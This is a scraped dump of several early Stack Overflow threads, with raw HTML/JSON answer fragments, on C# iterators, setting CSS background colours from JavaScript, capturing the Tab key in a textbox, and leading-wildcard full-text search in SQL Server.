<code>IEnumerable&lt;T&gt;</code>, though calling <code>GetEnumerator</code> on it once will likely yield bad results.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3315", "https://Stackoverflow.com", "https://Stackoverflow.com/users/503/" ]
I need to set the height of every textbox on my form, some of which are nested within other controls. I thought I could do something like this: ``` private static IEnumerator<TextBox> FindTextBoxes(Control rootControl) { foreach (Control control in rootControl.Controls) { if (control.Controls.Count > 0) { // Recursively search for any TextBoxes within each child control foreach (TextBox textBox in FindTextBoxes(control)) { yield return textBox; } } TextBox textBox2 = control as TextBox; if (textBox2 != null) { yield return textBox2; } } } ``` Using it like this: ``` foreach(TextBox textBox in FindTextBoxes(this)) { textBox.Height = height; } ``` But of course the compiler spits its dummy, because *foreach* expects an **IEnumerable** rather than an **IEnumerator**. Is there a way to do this without having to create a separate class with a **GetEnumerator()** method?
As the compiler is telling you, you need to change your return type to IEnumerable. That is how the yield return syntax works.
3,319
<p>How can I set the background color of an HTML element using css in JavaScript?</p>
[ { "answer_id": 3320, "author": "tags2k", "author_id": 192, "author_profile": "https://Stackoverflow.com/users/192", "pm_score": 5, "selected": false, "text": "<pre><code>var element = document.getElementById('element');\nelement.style.background = '#FF00AA';\n</code></pre>\n" }, { "answer_id": 3321, "author": "David Wengier", "author_id": 489, "author_profile": "https://Stackoverflow.com/users/489", "pm_score": 8, "selected": true, "text": "<p>In general, CSS properties are converted to JavaScript by making them camelCase without any dashes. So <code>background-color</code> becomes <code>backgroundColor</code>.</p>\n\n<pre><code>function setColor(element, color)\n{\n element.style.backgroundColor = color;\n}\n\n// where el is the concerned element\nvar el = document.getElementById('elementId');\nsetColor(el, 'green');\n</code></pre>\n" }, { "answer_id": 3361, "author": "Wally Lawless", "author_id": 37, "author_profile": "https://Stackoverflow.com/users/37", "pm_score": 4, "selected": false, "text": "<p>Or, using a little jQuery:</p>\n\n<pre><code>$('#fieldID').css('background-color', '#FF6600');\n</code></pre>\n" }, { "answer_id": 16037, "author": "Ian Oxley", "author_id": 1904, "author_profile": "https://Stackoverflow.com/users/1904", "pm_score": 5, "selected": false, "text": "<p>You might find your code is more maintainable if you keep all your styles, etc. in CSS and just set / unset class names in JavaScript.</p>\n\n<p>Your CSS would obviously be something like:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>.highlight {\n background:#ff00aa;\n}\n</code></pre>\n\n<p>Then in JavaScript:</p>\n\n<pre><code>element.className = element.className === 'highlight' ? '' : 'highlight';\n</code></pre>\n" }, { "answer_id": 5186696, "author": "james.garriss", "author_id": 584674, "author_profile": "https://Stackoverflow.com/users/584674", "pm_score": 3, "selected": false, "text": "<p>Add this script element to your body element:</p>\n\n<pre><code>&lt;body&gt;\n &lt;script type=\"text/javascript\"&gt;\n document.body.style.backgroundColor = \"#AAAAAA\";\n &lt;/script&gt;\n&lt;/body&gt;\n</code></pre>\n" }, { "answer_id": 15168927, "author": "Zardiw", "author_id": 1723600, "author_profile": "https://Stackoverflow.com/users/1723600", "pm_score": 2, "selected": false, "text": "<p>KISS Answer:</p>\n\n<pre><code>document.getElementById('element').style.background = '#DD00DD';\n</code></pre>\n" }, { "answer_id": 20933776, "author": "Saeed", "author_id": 1726377, "author_profile": "https://Stackoverflow.com/users/1726377", "pm_score": 2, "selected": false, "text": "<p>You can use:</p>\n<pre><code>&lt;script type=&quot;text/javascript&quot;&gt;\n Window.body.style.backgroundColor = &quot;#5a5a5a&quot;;\n&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 21683642, "author": "bluelog", "author_id": 3293861, "author_profile": "https://Stackoverflow.com/users/3293861", "pm_score": 2, "selected": false, "text": "<p>You can do it with JQuery: </p>\n\n<pre><code>$(\".class\").css(\"background\",\"yellow\");\n</code></pre>\n" }, { "answer_id": 23002017, "author": "hamed", "author_id": 3521734, "author_profile": "https://Stackoverflow.com/users/3521734", "pm_score": 1, "selected": false, "text": "<p>you can use </p>\n\n<pre><code>$('#elementID').css('background-color', '#C0C0C0');\n</code></pre>\n" }, { "answer_id": 29704278, "author": "Roger Causto", "author_id": 4292292, "author_profile": "https://Stackoverflow.com/users/4292292", "pm_score": 3, "selected": false, "text": "<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>var element = document.getElementById('element');\r\n\r\nelement.onclick = function() {\r\n element.classList.add('backGroundColor');\r\n \r\n setTimeout(function() {\r\n element.classList.remove('backGroundColor');\r\n }, 2000);\r\n};</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.backGroundColor {\r\n background-color: green;\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div id=\"element\"&gt;Click Me&lt;/div&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 32375473, "author": "Ajay Gupta", "author_id": 2663073, "author_profile": "https://Stackoverflow.com/users/2663073", "pm_score": 3, "selected": false, "text": "<p>You can try this</p>\n\n<pre><code>var element = document.getElementById('element_id');\nelement.style.backgroundColor = \"color or color_code\";\n</code></pre>\n\n<p>Example.</p>\n\n<pre><code>var element = document.getElementById('firstname');\nelement.style.backgroundColor = \"green\";//Or #ff55ff\n</code></pre>\n\n<p><a href=\"http://jsfiddle.net/1rjdLno5/6/\" rel=\"nofollow\">JSFIDDLE</a></p>\n" }, { "answer_id": 33646923, "author": "LemonPie", "author_id": 1500076, "author_profile": "https://Stackoverflow.com/users/1500076", "pm_score": -1, "selected": false, "text": "<pre><code>$(\".class\")[0].style.background = \"blue\";\n</code></pre>\n" }, { "answer_id": 42773184, "author": "Srikrushna", "author_id": 5852550, "author_profile": "https://Stackoverflow.com/users/5852550", "pm_score": 2, "selected": false, "text": "<pre><code>$(\"body\").css(\"background\",\"green\"); //jQuery\n\ndocument.body.style.backgroundColor = \"green\"; //javascript\n</code></pre>\n\n<p>so many ways are there I think it is very easy and simple</p>\n\n<p><a href=\"https://plnkr.co/edit/FEjfjG7SM10ouhvjt4AR?p=preview\" rel=\"nofollow noreferrer\">Demo On Plunker</a></p>\n" }, { "answer_id": 44718510, "author": "pragadeesh mahendran", "author_id": 8203775, "author_profile": "https://Stackoverflow.com/users/8203775", "pm_score": 2, "selected": false, "text": "<pre><code>$('#ID / .Class').css('background-color', '#FF6600');\n</code></pre>\n\n<p>By using jquery we can target the element's class or Id to apply css background or any other stylings</p>\n" }, { "answer_id": 44718647, "author": "Mr.Pandya", "author_id": 6554624, "author_profile": "https://Stackoverflow.com/users/6554624", "pm_score": 0, "selected": false, "text": "<p>Javascript:</p>\n\n<pre><code>document.getElementById(\"ID\").style.background = \"colorName\"; //JS ID\n\ndocument.getElementsByClassName(\"ClassName\")[0].style.background = \"colorName\"; //JS Class\n</code></pre>\n\n<p>Jquery:</p>\n\n<pre><code>$('#ID/.className').css(\"background\",\"colorName\") // One style\n\n$('#ID/.className').css({\"background\":\"colorName\",\"color\":\"colorname\"}); //Multiple style\n</code></pre>\n" }, { "answer_id": 50749215, "author": "Ivan", "author_id": 6331369, "author_profile": "https://Stackoverflow.com/users/6331369", "pm_score": 1, "selected": false, "text": "<h2>Changing CSS of a <code>HTMLElement</code></h2>\n\n<p>You can change most of the CSS properties with JavaScript, use this statement:</p>\n\n<pre><code>document.querySelector(&lt;selector&gt;).style[&lt;property&gt;] = &lt;new style&gt;\n</code></pre>\n\n<p>where <code>&lt;selector&gt;</code>, <code>&lt;property&gt;</code>, <code>&lt;new style&gt;</code> are all <code>String</code> objects.</p>\n\n<p>Usually, the style property will have the same name as the actual name used in CSS. But whenever there is more that one word, it will be camel case: for example <code>background-color</code> is changed with <code>backgroundColor</code>.</p>\n\n<p>The following statement will set the background of <code>#container</code> to the color red:</p>\n\n<pre><code>documentquerySelector('#container').style.background = 'red'\n</code></pre>\n\n<p>Here's a quick demo changing the color of the box every 0.5s:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>colors = ['rosybrown', 'cornflowerblue', 'pink', 'lightblue', 'lemonchiffon', 'lightgrey', 'lightcoral', 'blueviolet', 'firebrick', 'fuchsia', 'lightgreen', 'red', 'purple', 'cyan']\r\n\r\nlet i = 0\r\nsetInterval(() =&gt; {\r\n const random = Math.floor(Math.random()*colors.length)\r\n document.querySelector('.box').style.background = colors[random];\r\n}, 500)</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.box {\r\n width: 100px;\r\n height: 100px;\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div class=\"box\"&gt;&lt;/div&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<hr>\n\n<h2>Changing CSS of multiple <code>HTMLElement</code></h2>\n\n<p>Imagine you would like to apply CSS styles to more than one element, for example, make the background color of all elements with the class name <code>box</code> <code>lightgreen</code>. Then you can:</p>\n\n<ol>\n<li><p>select the elements with <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector\" rel=\"nofollow noreferrer\"><code>.querySelectorAll</code></a> and unwrap them in an object <code>Array</code> with the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment\" rel=\"nofollow noreferrer\">destructuring syntax</a>:</p>\n\n<pre><code>const elements = [...document.querySelectorAll('.box')]\n</code></pre></li>\n<li><p>loop over the array with <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach\" rel=\"nofollow noreferrer\"><code>.forEach</code></a> and apply the change to each element:</p>\n\n<pre><code>elements.forEach(element =&gt; element.style.background = 'lightgreen')\n</code></pre></li>\n</ol>\n\n<p>Here is the demo:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const elements = [...document.querySelectorAll('.box')]\r\nelements.forEach(element =&gt; element.style.background = 'lightgreen')</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.box {\r\n height: 100px;\r\n width: 100px;\r\n display: inline-block;\r\n margin: 10px;\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div class=\"box\"&gt;&lt;/div&gt;\r\n&lt;div class=\"box\"&gt;&lt;/div&gt;\r\n&lt;div class=\"box\"&gt;&lt;/div&gt;\r\n&lt;div class=\"box\"&gt;&lt;/div&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<hr>\n\n<h2>Another method</h2>\n\n<p>If you want to change multiple style properties of an element more than once you may consider using another method: link this element to another class instead.</p>\n\n<p>Assuming you can prepare the styles beforehand in CSS you can toggle classes by accessing the <code>classList</code> of the element and calling the <code>toggle</code> function:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>document.querySelector('.box').classList.toggle('orange')</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.box {\r\n width: 100px;\r\n height: 100px;\r\n}\r\n\r\n.orange {\r\n background: orange;\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div class='box'&gt;&lt;/div&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<hr>\n\n<h2>List of CSS properties in JavaScript</h2>\n\n<p>Here is the complete list:</p>\n\n<pre><code>alignContent\nalignItems\nalignSelf\nanimation\nanimationDelay\nanimationDirection\nanimationDuration\nanimationFillMode\nanimationIterationCount\nanimationName\nanimationTimingFunction\nanimationPlayState\nbackground\nbackgroundAttachment\nbackgroundColor\nbackgroundImage\nbackgroundPosition\nbackgroundRepeat\nbackgroundClip\nbackgroundOrigin\nbackgroundSize&lt;/a&gt;&lt;/td&gt;\nbackfaceVisibility\nborderBottom\nborderBottomColor\nborderBottomLeftRadius\nborderBottomRightRadius\nborderBottomStyle\nborderBottomWidth\nborderCollapse\nborderColor\nborderImage\nborderImageOutset\nborderImageRepeat\nborderImageSlice\nborderImageSource \nborderImageWidth\nborderLeft\nborderLeftColor\nborderLeftStyle\nborderLeftWidth\nborderRadius\nborderRight\nborderRightColor\nborderRightStyle\nborderRightWidth\nborderSpacing\nborderStyle\nborderTop\nborderTopColor\nborderTopLeftRadius\nborderTopRightRadius\nborderTopStyle\nborderTopWidth\nborderWidth\nbottom\nboxShadow\nboxSizing\ncaptionSide\nclear\nclip\ncolor\ncolumnCount\ncolumnFill\ncolumnGap\ncolumnRule\ncolumnRuleColor\ncolumnRuleStyle\ncolumnRuleWidth\ncolumns\ncolumnSpan\ncolumnWidth\ncounterIncrement\ncounterReset\ncursor\ndirection\ndisplay\nemptyCells\nfilter\nflex\nflexBasis\nflexDirection\nflexFlow\nflexGrow\nflexShrink\nflexWrap\ncontent\nfontStretch\nhangingPunctuation\nheight\nhyphens\nicon\nimageOrientation\nnavDown\nnavIndex\nnavLeft\nnavRight\nnavUp&gt;\ncssFloat\nfont\nfontFamily\nfontSize\nfontStyle\nfontVariant\nfontWeight\nfontSizeAdjust\njustifyContent\nleft\nletterSpacing\nlineHeight\nlistStyle\nlistStyleImage\nlistStylePosition\nlistStyleType\nmargin\nmarginBottom\nmarginLeft\nmarginRight\nmarginTop\nmaxHeight\nmaxWidth\nminHeight\nminWidth\nopacity\norder\norphans\noutline\noutlineColor\noutlineOffset\noutlineStyle\noutlineWidth\noverflow\noverflowX\noverflowY\npadding\npaddingBottom\npaddingLeft\npaddingRight\npaddingTop\npageBreakAfter\npageBreakBefore\npageBreakInside\nperspective\nperspectiveOrigin\nposition\nquotes\nresize\nright\ntableLayout\ntabSize\ntextAlign\ntextAlignLast\ntextDecoration\ntextDecorationColor\ntextDecorationLine\ntextDecorationStyle\ntextIndent\ntextOverflow\ntextShadow\ntextTransform\ntextJustify\ntop\ntransform\ntransformOrigin\ntransformStyle\ntransition\ntransitionProperty\ntransitionDuration\ntransitionTimingFunction\ntransitionDelay\nunicodeBidi\nuserSelect\nverticalAlign\nvisibility\nvoiceBalance\nvoiceDuration\nvoicePitch\nvoicePitchRange\nvoiceRate\nvoiceStress\nvoiceVolume\nwhiteSpace\nwidth\nwordBreak\nwordSpacing\nwordWrap\nwidows\nwritingMode\nzIndex\n</code></pre>\n" }, { "answer_id": 59819524, "author": "Mehadi Hassan", "author_id": 9569557, "author_profile": "https://Stackoverflow.com/users/9569557", "pm_score": 0, "selected": false, "text": "<p>A simple js can solve this:</p>\n\n<pre><code>document.getElementById(\"idName\").style.background = \"blue\";\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3319", "https://Stackoverflow.com", "https://Stackoverflow.com/users/383/" ]
How can I set the background color of an HTML element using css in JavaScript?
In general, CSS properties are converted to JavaScript by making them camelCase without any dashes. So `background-color` becomes `backgroundColor`. ``` function setColor(element, color) { element.style.backgroundColor = color; } // where el is the concerned element var el = document.getElementById('elementId'); setColor(el, 'green'); ```
3,362
<p>I would like to be able to use the <kbd>Tab</kbd> key within a text box to tab over four spaces. The way it is now, the Tab key jumps my cursor to the next input.</p> <p>Is there some JavaScript that will capture the Tab key in the text box before it bubbles up to the UI?</p> <p>I understand some browsers (i.e. FireFox) may not allow this. How about a custom key-combo like <kbd>Shift</kbd>+<kbd>Tab</kbd>, or <kbd>Ctrl</kbd>+<kbd>Q</kbd>?</p>
[ { "answer_id": 3370, "author": "Tom", "author_id": 20, "author_profile": "https://Stackoverflow.com/users/20", "pm_score": 4, "selected": false, "text": "<p>The previous answer is fine, but I'm one of those guys that's firmly against mixing behavior with presentation (putting JavaScript in my HTML) so I prefer to put my event handling logic in my JavaScript files. Additionally, not all browsers implement event (or e) the same way. You may want to do a check prior to running any logic:</p>\n\n<pre><code>document.onkeydown = TabExample;\n\nfunction TabExample(evt) {\n var evt = (evt) ? evt : ((event) ? event : null);\n var tabKey = 9;\n if(evt.keyCode == tabKey) {\n // do work\n }\n}\n</code></pre>\n" }, { "answer_id": 3371, "author": "Lauren", "author_id": 265, "author_profile": "https://Stackoverflow.com/users/265", "pm_score": 4, "selected": false, "text": "<p>I'd rather tab indentation not work than breaking tabbing between form items.</p>\n\n<p>If you want to indent to put in code in the Markdown box, use <kbd>Ctrl</kbd>+<kbd>K</kbd> (or ⌘K on a Mac).</p>\n\n<p>In terms of actually stopping the action, jQuery (which Stack Overflow uses) will stop an event from bubbling when you return false from an event callback. This makes life easier for working with multiple browsers.</p>\n" }, { "answer_id": 3372, "author": "Wally Lawless", "author_id": 37, "author_profile": "https://Stackoverflow.com/users/37", "pm_score": 3, "selected": false, "text": "<p>I would advise against changing the default behaviour of a key. I do as much as possible without touching a mouse, so if you make my tab key not move to the next field on a form I will be very aggravated.</p>\n\n<p>A shortcut key could be useful however, especially with large code blocks and nesting. Shift-TAB is a bad option because that normally takes me to the previous field on a form. Maybe a new button on the WMD editor to insert a code-TAB, with a shortcut key, would be possible?</p>\n" }, { "answer_id": 13130, "author": "ScottKoon", "author_id": 1538, "author_profile": "https://Stackoverflow.com/users/1538", "pm_score": 8, "selected": true, "text": "<p>Even if you capture the <code>keydown</code>/<code>keyup</code> event, those are the only events that the tab key fires, you still need some way to prevent the default action, moving to the next item in the tab order, from occurring.</p>\n\n<p>In Firefox you can call the <code>preventDefault()</code> method on the event object passed to your event handler. In IE, you have to return false from the event handle. The JQuery library provides a <code>preventDefault</code> method on its event object that works in IE and FF.</p>\n\n<pre><code>&lt;body&gt;\n&lt;input type=\"text\" id=\"myInput\"&gt;\n&lt;script type=\"text/javascript\"&gt;\n var myInput = document.getElementById(\"myInput\");\n if(myInput.addEventListener ) {\n myInput.addEventListener('keydown',this.keyHandler,false);\n } else if(myInput.attachEvent ) {\n myInput.attachEvent('onkeydown',this.keyHandler); /* damn IE hack */\n }\n\n function keyHandler(e) {\n var TABKEY = 9;\n if(e.keyCode == TABKEY) {\n this.value += \" \";\n if(e.preventDefault) {\n e.preventDefault();\n }\n return false;\n }\n }\n&lt;/script&gt;\n&lt;/body&gt;\n</code></pre>\n" }, { "answer_id": 2280003, "author": "Paul D. Waite", "author_id": 20578, "author_profile": "https://Stackoverflow.com/users/20578", "pm_score": 2, "selected": false, "text": "<p>In Chrome on the Mac, alt-tab inserts a tab character into a <code>&lt;textarea&gt;</code> field.</p>\n\n<p>Here’s one: . Wee!</p>\n" }, { "answer_id": 3674216, "author": "chintan123", "author_id": 443119, "author_profile": "https://Stackoverflow.com/users/443119", "pm_score": 2, "selected": false, "text": "<p>there is a problem in best answer given by ScottKoon</p>\n\n<p>here is it</p>\n\n<pre><code>} else if(el.attachEvent ) {\n myInput.attachEvent('onkeydown',this.keyHandler); /* damn IE hack */\n}\n</code></pre>\n\n<p>Should be </p>\n\n<pre><code>} else if(myInput.attachEvent ) {\n myInput.attachEvent('onkeydown',this.keyHandler); /* damn IE hack */\n}\n</code></pre>\n\n<p>Due to this it didn't work in IE.\nHoping that ScottKoon will update code</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3362", "https://Stackoverflow.com", "https://Stackoverflow.com/users/357/" ]
I would like to be able to use the `Tab` key within a text box to tab over four spaces. The way it is now, the Tab key jumps my cursor to the next input. Is there some JavaScript that will capture the Tab key in the text box before it bubbles up to the UI? I understand some browsers (i.e. FireFox) may not allow this. How about a custom key-combo like `Shift`+`Tab`, or `Ctrl`+`Q`?
Even if you capture the `keydown`/`keyup` event, those are the only events that the tab key fires, you still need some way to prevent the default action, moving to the next item in the tab order, from occurring. In Firefox you can call the `preventDefault()` method on the event object passed to your event handler. In IE, you have to return false from the event handle. The JQuery library provides a `preventDefault` method on its event object that works in IE and FF. ``` <body> <input type="text" id="myInput"> <script type="text/javascript"> var myInput = document.getElementById("myInput"); if(myInput.addEventListener ) { myInput.addEventListener('keydown',this.keyHandler,false); } else if(myInput.attachEvent ) { myInput.attachEvent('onkeydown',this.keyHandler); /* damn IE hack */ } function keyHandler(e) { var TABKEY = 9; if(e.keyCode == TABKEY) { this.value += " "; if(e.preventDefault) { e.preventDefault(); } return false; } } </script> </body> ```
3,400
<p><strong>Note:</strong> I <em>am</em> using SQL's Full-text search capabilities, CONTAINS clauses and all - the * is the wildcard in full-text, % is for LIKE clauses only.</p> <p>I've read in several places now that "leading wildcard" searches (e.g. using "*overflow" to match "stackoverflow") is not supported in MS SQL. I'm considering using a <a href="http://blogs.msdn.com/sqlclr/archive/2005/06/29/regex.aspx" rel="noreferrer" title="SQL CLR Blog">CLR function to add regex matching</a>, but I'm curious to see what other solutions people might have.</p> <p><strong>More Info</strong>: <a href="http://msdn.microsoft.com/en-us/library/ms552152.aspx" rel="noreferrer" title="MSDN">You can add the asterisk only at the end of the word or phrase.</a> - along with my empirical experience: When matching "myvalue", "my*" works, but "(asterisk)value" returns no match, when doing a query as simple as:</p> <pre><code>SELECT * FROM TABLENAME WHERE CONTAINS(TextColumn, '"*searchterm"'); </code></pre> <p>Thus, my need for a workaround. I'm only using search in my site on an actual search page - so it needs to work basically the same way that Google works (in the eyes on a Joe Sixpack-type user). Not nearly as complicated, but this sort of match really shouldn't fail.</p>
[ { "answer_id": 3405, "author": "Kev", "author_id": 419, "author_profile": "https://Stackoverflow.com/users/419", "pm_score": 2, "selected": false, "text": "<p><strong>Note</strong>: this was the answer I submitted for the original version #1 of the question before the <code>CONTAINS</code> keyword was introduced in revision #2. It's still factually accurate.</p>\n<p>The wildcard character in SQL Server is the <code>%</code> sign and it works just fine, leading, trailing or otherwise.</p>\n<p>That said, if you're going to be doing any kind of serious full text searching then I'd consider utilising the Full Text Index capabilities. Using <code>%</code> and <code>_</code> wild cards will cause your database to take a serious performance hit.</p>\n" }, { "answer_id": 3413, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": -1, "selected": false, "text": "<p>% Matches any number of characters\n _ Matches a single character</p>\n\n<p>I've never used Full-Text indexing but you can accomplish rather complex and fast search queries with simply using the build in T-SQL string functions.</p>\n" }, { "answer_id": 3422, "author": "Dave Ward", "author_id": 60, "author_profile": "https://Stackoverflow.com/users/60", "pm_score": 2, "selected": false, "text": "<p>One thing worth keeping in mind is that leading wildcard queries come at a significant performance premium, compared to other wildcard usages.</p>\n" }, { "answer_id": 3427, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 4, "selected": false, "text": "<p>The problem with leading Wildcards: They cannot be indexed, hence you're doing a full table scan.</p>\n" }, { "answer_id": 3521, "author": "Otto", "author_id": 519, "author_profile": "https://Stackoverflow.com/users/519", "pm_score": -1, "selected": false, "text": "<p>From SQL Server Books Online:</p>\n\n<blockquote>\n <p>To write full-text queries in\n Microsoft SQL Server 2005, you must\n learn how to use the CONTAINS and\n FREETEXT Transact-SQL predicates, and\n the CONTAINSTABLE and FREETEXTTABLE\n rowset-valued functions.</p>\n</blockquote>\n\n<p>That means all of the queries written above with the % and _ are not valid full text queries.</p>\n\n<p>Here is a sample of what a query looks like when calling the CONTAINSTABLE function.</p>\n\n<blockquote>\n <p>SELECT RANK , * FROM TableName ,\n CONTAINSTABLE (TableName, *, '\n \"*WildCard\" ') searchTable WHERE\n [KEY] = TableName.pk ORDER BY \n searchTable.RANK DESC</p>\n</blockquote>\n\n<p>In order for the CONTAINSTABLE function to know that I'm using a wildcard search, I have to wrap it in double quotes. I can use the wildcard character * at the beginning or ending. There are a lot of other things you can do when you're building the search string for the CONTAINSTABLE function. You can search for a word near another word, search for inflectional words (drive = drives, drove, driving, and driven), and search for synonym of another word (metal can have synonyms such as aluminum and steel).</p>\n\n<p>I just created a table, put a full text index on the table and did a couple of test searches and didn't have a problem, so wildcard searching works as intended.</p>\n\n<p>[Update]</p>\n\n<p>I see that you've updated your question and know that you need to use one of the functions.</p>\n\n<p>You can still search with the wildcard at the beginning, but if the word is not a full word following the wildcard, you have to add another wildcard at the end.</p>\n\n<pre><code>Example: \"*ildcar\" will look for a single word as long as it ends with \"ildcar\".\n\nExample: \"*ildcar*\" will look for a single word with \"ildcar\" in the middle, which means it will match \"wildcard\". [Just noticed that Markdown removed the wildcard characters from the beginning and ending of my quoted string here.]\n</code></pre>\n\n<p>[Update #2]</p>\n\n<p>Dave Ward - Using a wildcard with one of the functions shouldn't be a huge perf hit. If I created a search string with just \"*\", it will not return all rows, in my test case, it returned 0 records.</p>\n" }, { "answer_id": 6078, "author": "Sean Carpenter", "author_id": 729, "author_profile": "https://Stackoverflow.com/users/729", "pm_score": 0, "selected": false, "text": "<p>When it comes to full-text searching, for my money nothing beats <a href=\"http://lucene.apache.org\" rel=\"nofollow noreferrer\">Lucene</a>. There is a <a href=\"http://incubator.apache.org/projects/lucene.net.html\" rel=\"nofollow noreferrer\">.Net port available</a> that is compatible with indexes created with the Java version.</p>\n\n<p>There's a little work involved in that you have to create/maintain the indexes, but the search speed is fantastic and you can create all sorts of interesting queries. Even indexing speed is pretty good - we just completely rebuild our indexes once a day and don't worry about updating them.</p>\n\n<p>As an example, <a href=\"http://www.wateronline.com/Search.mvc?keyword=wastewater\" rel=\"nofollow noreferrer\">this search functionality</a> is powered by Lucene.Net.</p>\n" }, { "answer_id": 68207, "author": "user9569", "author_id": 9569, "author_profile": "https://Stackoverflow.com/users/9569", "pm_score": 1, "selected": false, "text": "<p>Just FYI, Google does not do any substring searches or truncation, right or left. They have a wildcard character * to find unknown words in a phrase, but not a word. </p>\n\n<p>Google, along with most full-text search engines, sets up an inverted index based on the alphabetical order of words, with links to their source documents. Binary search is wicked fast, even for huge indexes. But it's really really hard to do a left-truncation in this case, because it loses the advantage of the index. </p>\n" }, { "answer_id": 124502, "author": "xnagyg", "author_id": 2622295, "author_profile": "https://Stackoverflow.com/users/2622295", "pm_score": 5, "selected": false, "text": "<p>Workaround only for leading wildcard:</p>\n\n<ul>\n<li>store the text reversed in a different field (or in materialised view)</li>\n<li>create a full text index on this column</li>\n<li><p>find the reversed text with an *</p>\n\n<pre><code>SELECT * \nFROM TABLENAME \nWHERE CONTAINS(TextColumnREV, '\"mrethcraes*\"');\n</code></pre></li>\n</ul>\n\n<p>Of course there are many drawbacks, just for quick workaround...</p>\n\n<p>Not to mention CONTAINSTABLE...</p>\n" }, { "answer_id": 320132, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<p>It is possible to use the wildcard \"*\" at the end of the word or phrase (prefix search).</p>\n\n<p>For example, this query will find all \"datab\", \"database\", \"databases\" ...</p>\n\n<pre><code>SELECT * FROM SomeTable WHERE CONTAINS(ColumnName, '\"datab*\"')\n</code></pre>\n\n<p>But, unforutnately, it is not possible to search with leading wildcard.</p>\n\n<p>For example, this query will not find \"database\"</p>\n\n<pre><code>SELECT * FROM SomeTable WHERE CONTAINS(ColumnName, '\"*abase\"')\n</code></pre>\n" }, { "answer_id": 7678692, "author": "Forrest", "author_id": 982752, "author_profile": "https://Stackoverflow.com/users/982752", "pm_score": 2, "selected": false, "text": "<p>To perhaps add clarity to this thread, from my testing on 2008 R2, Franjo is correct above. When dealing with full text searching, at least when using the CONTAINS phrase, you cannot use a leading <em>, only a trailing</em> functionally. * is the wildcard, not % in full text.</p>\n\n<p>Some have suggested that * is ignored. That does not seem to be the case, my results seem to show that the trailing * functionality does work. I think leading * are ignored by the engine.</p>\n\n<p>My added problem however is that the same query, with a trailing *, that uses full text with wildcards worked relatively fast on 2005(20 seconds), and slowed to 12 minutes after migrating the db to 2008 R2. It seems at least one other user had similar results and he started a forum post which I added to... FREETEXT works fast still, but something \"seems\" to have changed with the way 2008 processes trailing * in CONTAINS. They give all sorts of warnings in the Upgrade Advisor that they \"improved\" FULL TEXT so your code may break, but unfortunately they do not give you any specific warnings about certain deprecated code etc. ...just a disclaimer that they changed it, use at your own risk. </p>\n\n<p><a href=\"http://social.msdn.microsoft.com/Forums/ar-SA/sqlsearch/thread/7e45b7e4-2061-4c89-af68-febd668f346c\" rel=\"nofollow\">http://social.msdn.microsoft.com/Forums/ar-SA/sqlsearch/thread/7e45b7e4-2061-4c89-af68-febd668f346c</a></p>\n\n<p>Maybe, this is the closest MS hit related to these issues... <a href=\"http://msdn.microsoft.com/en-us/library/ms143709.aspx\" rel=\"nofollow\">http://msdn.microsoft.com/en-us/library/ms143709.aspx</a></p>\n" }, { "answer_id": 34602059, "author": "ASP Force", "author_id": 3464788, "author_profile": "https://Stackoverflow.com/users/3464788", "pm_score": 1, "selected": false, "text": "<p>As a parameter in a stored procedure you can use it as:</p>\n\n<pre><code>ALTER procedure [dbo].[uspLkp_DrugProductSelectAllByName]\n(\n @PROPRIETARY_NAME varchar(10)\n)\nas\n set nocount on\n declare @PROPRIETARY_NAME2 varchar(10) = '\"' + @PROPRIETARY_NAME + '*\"'\n\n select ldp.*, lkp.DRUG_PKG_ID\n from Lkp_DrugProduct ldp\n left outer join Lkp_DrugPackage lkp on ldp.DRUG_PROD_ID = lkp.DRUG_PROD_ID\n where contains(ldp.PROPRIETARY_NAME, @PROPRIETARY_NAME2)\n</code></pre>\n" }, { "answer_id": 40114596, "author": "LogicalMan", "author_id": 6460524, "author_profile": "https://Stackoverflow.com/users/6460524", "pm_score": 0, "selected": false, "text": "<p>Perhaps the following link will provide the final answer to this use of wildcards: <a href=\"https://blogs.msdn.microsoft.com/sqlforum/2011/02/27/faq-how-can-i-perform-wildcard-searches-in-full-text-search/\" rel=\"nofollow\">Performing FTS 